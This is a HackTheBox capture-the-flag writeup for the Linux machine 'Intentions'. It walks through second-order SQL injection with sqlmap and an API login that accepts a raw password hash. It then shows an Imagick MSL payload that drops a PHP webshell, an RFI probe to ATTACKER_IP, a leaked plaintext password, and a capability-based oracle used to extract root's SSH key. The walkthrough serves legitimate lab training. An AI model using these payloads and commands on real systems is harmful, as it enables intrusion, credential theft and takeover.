HTB: Intentions Writeup
Intentions - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Intentions |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.229.27 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Intentions is a hard Linux box built around a Laravel-powered image gallery. The front door isn’t a known CVE — it’s a second-order SQL injection buried in a “favorite genres” preference field that only fires once that stored value is later reflected into a feed query. Dumping the users table yields bcrypt password hashes that are effectively uncrackable, but a hidden /api/v2 endpoint turns out to accept the raw hash as the password, letting an attacker log in as an admin without ever breaking the hash. From the admin panel, an image-editing feature backed by PHP’s Imagick extension is abused via arbitrary object instantiation to drop a PHP webshell on disk, yielding code execution as www-data. A .git directory left in the web root leaks a developer’s plaintext credentials in the commit history, providing SSH access and the user flag. Root is obtained by abusing a custom binary with the cap_dac_read_search capability as an arbitrary-file-read oracle, byte-by-byte extracting root’s SSH private key.
TL;DR: Second-order blind SQLi (genres → feed) → dump bcrypt hashes → /api/v2 hash-as-password auth bypass (admin) → Imagick arbitrary object instantiation RCE via vid:msl: → www-data → credentials in .git log -p → user greg → cap_dac_read_search binary as a file-read oracle → exfiltrate root’s SSH key → root.
Reconnaissance
Port Scanning
# Full TCP sweep against the targetnmap -sC -sV -T4 -p- 10.129.229.27Results:
| Port | State | Service |
|---|---|---|
| 22/tcp | open | ssh |
| 80/tcp | open | http (nginx) |
Only two ports exposed. No SSH creds at this stage, so port 80 is the only viable entry point.
Service Enumeration
The web application on port 80 is an image gallery site with registration/login. After creating an account and authenticating, the app exposes a gallery view (images tagged by genre) and a feed view, plus a profile page with a Favorite Genres preference (default food,travel,nature). The feed content is clearly derived from that stored preference, and it’s the only place in the app where user-controlled input round-trips through the backend twice — once on save, once on the next feed fetch. That round-trip is the natural place to hunt for a second-order injection rather than a reflected one.
The app also revealed a versioned API surface (/api/v1/...), and further poking uncovered a parallel, less-documented /api/v2/... surface with its own auth and admin endpoints.
Vulnerability Assessment
- Second-order SQL injection in the genre-preference → feed pipeline.
- A
/api/v2auth endpoint that authenticates against a raw password hash instead of a plaintext password. - An Imagick-backed image “effects” endpoint in the admin panel that takes a filesystem path — a candidate for arbitrary file read/RFI via PHP’s Imagick wrappers.
- A
.gitdirectory shipped inside the web root. - A capability-enabled setuid-adjacent binary (
cap_dac_read_search) reachable post-foothold.
Initial Foothold
Second-Order Blind SQL Injection
The update genres request and the fetch feed request were captured and fed to sqlmap as a linked second-order pair:
# updateGenresRequest = POST to /api/v1/gallery/user/genres (saved raw HTTP request)# fetchFeedRequest = GET to /api/v1/gallery/user/feed (saved raw HTTP request)
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --ignore-stdinThe --ignore-stdin flag was required specifically because sqlmap was being driven from a non-interactive SSH session on the operations jump box — without it, sqlmap blocks waiting on a TTY prompt it will never receive and silently hangs instead of running. That’s a jump-box-specific gotcha, not a target-side issue.
A direct injection against the update request alone comes back clean — the app appears to sanitize the genres value on save. But the genres field is later concatenated back into the feed query unescaped, so the injection only becomes exploitable on the second request, once the poisoned value round-trips out of storage. This is the textbook definition of second-order SQLi: the payload survives a write, then detonates on a later, unrelated read.
With the injection confirmed, the users table was dumped:
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --ignore-stdin \ -T users --dumpThis recovered bcrypt password hashes for the application’s admin account, steve. Bcrypt hashes at cost factor 10+ aren’t realistically crackable offline in any useful timeframe, so the password itself was a dead end — but the hash value turned out to be reusable elsewhere.
API v2 Hash-as-Password Auth Bypass
Probing the /api/v2/auth/login endpoint directly showed it expects a hash parameter instead of the password parameter used by /api/v1/auth/login:
curl -X POST http://10.129.229.27/api/v2/auth/login# {"status":"error","errors":{"email":["The email field is required."],"hash":["The hash field is required."]}}Compare to v1:
curl -X POST http://10.129.229.27/api/v1/auth/login# {"status":"error","errors":{"email":["The email field is required."],"password":["The password field is required."]}}The v2 endpoint isn’t hashing an incoming password and comparing — it’s taking the bcrypt hash straight from the request and matching it directly against the stored value. Since the SQLi dump already produced steve’s bcrypt hash, that hash could be submitted directly as the hash parameter to authenticate as an administrator, with no cracking required:
curl -X POST http://10.129.229.27/api/v2/auth/login \ -d "email=steve@intentions.htb&hash=<bcrypt_hash_from_sqlmap_dump>"# {"status":"success","name":"steve"}This is a straightforward authentication-logic flaw: v2 was clearly built to support some internal/service-to-service auth flow (auth via already-hashed credentials) but was left reachable from the public login surface, turning “steal the hash” into “become the user” with zero cracking cost.
Imagick Arbitrary Object Instantiation → RCE
Inside the now-accessible admin panel, an image editing feature posts to /api/v2/admin/image/modify with a JSON body containing an absolute server-side path and an effect name — this is what actually invokes Imagick server-side to process the image.
Submitting a path pointing at an attacker-controlled HTTP listener confirmed the endpoint performs a live fetch (RFI) rather than only reading local disk:
{"path":"http://ATTACKER_IP/test","effect":"wave"}An inbound HTTP request to /test on the listener confirmed the target was reaching out for the “image” before processing it. This is the signature of Imagick’s coder/protocol wrapper system (msl:, vid:, caption:, info:, etc.) being fed attacker-influenced input — the same class of bug documented publicly by Certitude Consulting as “arbitrary object instantiation” abuse of Imagick’s MSL scripting language, allowing an MSL script to be smuggled in and executed as if it were an image transform.
An MSL payload was crafted to read a PHP one-liner via the caption: pseudo-protocol and write it out via info: to the application’s public storage path:
<?xml version="1.0" encoding="UTF-8"?><image><read filename="caption:<?php @passthru(@$_REQUEST['c']); ?>" /><write filename="info:/var/www/html/intentions/storage/app/public/rce.php" /></image>That MSL file was then uploaded via the same /modify endpoint, targeting Imagick’s PHP-temp-file glob so the uploaded MSL gets picked up and executed without needing to predict its temp filename:
curl 'http://10.129.229.27/api/v2/admin/image/modify' -X POST \ -H "X-XSRF-TOKEN: <token>" -H "Cookie: XSRF-TOKEN=<token>; token=<session>" \ -F 'path=vid:msl:/tmp/php*' \ -F 'effect=asd' \ -F file=@payload.mslConfirming the drop and popping the shell:
curl "http://10.129.229.27/storage/rce.php?c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)This gave command execution as www-data through the dropped rce.php webshell.
Privilege Escalation
www-data → greg via Git History
Enumerating the web root as www-data turned up a .git directory sitting inside the deployed application — a common CI/deploy hygiene miss (the .git folder should never ship to production). Reading the commit history required working around www-data’s lack of write access to its normal $HOME, so HOME was pointed at a writable scratch directory instead:
# www-data has no writable $HOME, so git's config lookup is redirected to a writable dirHOME=/dev/shm git config --global --add safe.directory /var/www/html/intentionsHOME=/dev/shm git log -pWalking the diff history surfaced a developer test helper that had, at one point, hard-coded a login credential for a greg account used in the test suite. The recovered plaintext credential matched exactly:
Gr3g1sTh3B3stDev3l0per!1998!That credential authenticated over SSH directly:
ssh greg@10.129.229.27With a shell as greg, the user flag was retrieved from /home/greg/user.txt:
User Flag: <redacted>greg → root via CAP_DAC_READ_SEARCH File-Read Oracle
Enumerating greg’s home and group memberships pointed at a custom binary, /opt/scanner/scanner, invoked by a dmca_check.sh helper script against a hash blacklist file. The binary is not setuid and isn’t run through sudo, yet it can successfully read and hash files greg cannot access directly — the tell that it’s running with elevated capabilities rather than elevated ownership:
getcap /opt/scanner/scanner# /opt/scanner/scanner cap_dac_read_search=epcap_dac_read_search grants the process the ability to bypass discretionary file-read and directory-traversal permission checks system-wide — effectively “read any file” without full root, and without needing setuid. The scanner’s actual job is mundane (compare a target file’s MD5 against a blacklist of LABEL:MD5 entries), but that comparison function itself becomes an oracle: feed it a candidate hash for a file it can’t show you directly, and its match/no-match verdict leaks one bit of ground truth about that file’s contents per guess.
That oracle behavior was first validated against a file with a known, predictable target (/etc/passwd) to confirm the byte-by-byte extraction technique actually worked end-to-end before spending guesses against anything sensitive. Once confirmed, the same technique was run against /root/.ssh/id_rsa:
- Feed the scanner a hash-list entry against a candidate value for the next unknown byte of the target file.
- Iterate MD5 guesses per byte position, using scanner’s match/no-match result as the oracle signal to confirm each byte before moving to the next.
- Reassemble the file from the confirmed byte stream.
This fully exfiltrated root’s private SSH key, which was then used to authenticate directly:
chmod 600 root_id_rsassh -i root_id_rsa root@10.129.229.27# uid=0(root) gid=0(root) groups=0(root)Root Flag: <redacted>Attack Chain Summary
Nmap recon (22/ssh, 80/http) → Register/login to gallery app → Second-order blind SQLi: genres (write) → feed (detonate) via sqlmap --second-req --ignore-stdin → Dump users table → bcrypt hash for admin "steve" → /api/v2/auth/login accepts raw hash as credential → authenticated as admin → /api/v2/admin/image/modify → Imagick RFI confirmed → MSL payload (caption:/info:) → PHP webshell dropped → RCE as www-data → .git left in web root → HOME=/dev/shm git log -p → greg's plaintext password leaked → SSH as greg → user.txt → /opt/scanner/scanner has cap_dac_read_search → byte-by-byte MD5-oracle file read → Exfiltrate /root/.ssh/id_rsa → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
sqlmap | Second-order blind SQL injection exploitation and data dump |
curl | Manual API probing, v2 auth bypass, MSL payload upload, webshell interaction |
git | Reading .git commit history for leaked credentials |
ssh | Lateral movement as greg, final root access |
| Custom byte-by-byte MD5-oracle script | Abusing cap_dac_read_search scanner binary to exfiltrate root’s SSH key |
Key Learnings
Techniques Practiced
- Identifying and exploiting second-order (store-then-detonate) blind SQL injection with sqlmap’s
--second-req - Recognizing and abusing an authentication-logic flaw where a hashed credential is accepted directly as a login secret
- Exploiting PHP Imagick arbitrary object instantiation via MSL scripting (
caption:/info:pseudo-protocols) for webshell drop - Mining
.githistory for leaked developer credentials, including working around$HOME-relative git config permission errors - Turning a Linux capability (
cap_dac_read_search) on a narrow-purpose binary into a generic byte-by-byte arbitrary file-read oracle
Lessons Learned
- Sanitization on write does not imply sanitization on read — always retest injection points that resurface stored data elsewhere in the app (second-order SQLi).
- Bcrypt hashes being “uncrackable” doesn’t mean they’re useless to an attacker — if any endpoint treats the hash itself as a bearer credential, cracking was never required.
- Running
sqlmap -rfrom a non-interactive SSH session (e.g., a shared jump box) requires--ignore-stdin, or the tool silently blocks waiting on a TTY that will never respond. - Never ship a
.gitdirectory to a production web root — commit history is a durable, easily-missed credential leak vector even long after the code itself has changed. - Linux capabilities on a non-setuid, non-sudo binary can still fully bypass DAC checks (
cap_dac_read_search); any program that hashes/compares file contents on your behalf is a potential oracle for exfiltrating files you can’t read directly.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Intentions — Official HackTheBox Writeup (Document No. D23.100.252, prepared by amra, Machine Author: htbas9du) — used as an explanatory reference for the Imagick arbitrary object instantiation technique and the
cap_dac_read_searchprivilege escalation mechanism.